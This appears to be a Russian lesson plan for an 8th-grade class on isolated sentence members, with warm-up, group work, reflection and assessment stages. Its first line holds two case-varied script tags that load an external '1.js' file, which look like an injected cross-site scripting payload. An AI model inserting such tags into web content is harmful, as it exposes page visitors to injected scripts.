<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
8 класс. Дата______________
Тема: Понятие об обособлении.
Цель: учащиеся должны знать понятие «Обособление», уметь выделить в предложении обособленные члены.
Ожидаемый результат: знают определение понятия обособление, умеют выделить в устной и письменной речи обособленные члены предложения; умеют работать индивидуально и в группе, находить общее решение, анализировать, делать выводы,
строить рассуждения.
Ход
урока.
|
Этапы урока |
Деятельность учителя |
Деятельность учеников |
|
1.Мотивационный этап. Психологический настрой. Актуализация новых знаний. |
Приветствие «Круг радости» (слайд №1) В поисках смысла В каждом параграфе, в каждом рассказе, В сказке и в песне, даже во фразах Ты только вдумайся, Только всмотрись - Кроется самая главная мысль. Строчка за строчкой, Фраза за фразой – Ты только вдумайся, Только всмотрись – Откроется самая главная мысль!
- Какова основная мысль стихотворения? Как вы понимаете эти строки? -Сегодня мы тоже будем в поисках нового, неизведанного. - Сравните два предложения. (Слайд №2) |
Пожелание друг другу хорошего настроения.
Отвечают на вопросы и выходят на слова и словосочетания «поиск», «главная мысль», «вдумайся», «всмотрись»
Формулируют цель урока. |
|
2. Познавательный этап.
Во время работы в группах звучит казахский кюй |
- Как вы думаете, что будет объектом исследования на сегодняшнем уроке? - На какие проблемные вопросы нам предстоит найти ответы? - Чтобы ответить на эти вопросы и лучше понять тему, поработаем со справочниками, учебником, проявим самостоятельность в поисках ответов, наблюдательность, творчество. - Чтобы узнать точное значение слова или определения к чему мы должны обратиться? (К толковому словарю).
Организует работу в группах Исследуя текст «Мой Казахстан», найдите обособленные члены предложения. |
- Что такое обособление? - Какие члены предложения могут быть обособленными? - Как будем выделять на письме обособленные члены?
Изучение теории. Работа в группах по теме. 1 группа. Обособленные определения. 2 группа. Обособленные обстоятельства. 3 группа. Обособленные дополнения. 4 группа. Обособленные приложения. Примеры ищут из текста «Мой Казахстан» Оформление постеров.
Физминутка. |
|
Рефлексия |
- Обратимся к проблемным вопросам, которые поставили в начале урока. Ответили ли мы на эти вопросы? - Чему научились? - Какой этап урока показался самым интересным? |
Выступление групп. Защита постеров. Толстые и тонкие вопросы групп друг другу.
Мини-тест по теме. Проверка по ключу. Слайд №5 |
|
Оценивание. |
- Оцените вашу работу в «Оценочной карте». |
|
|
Домашнее задание |
Слайд №6
| |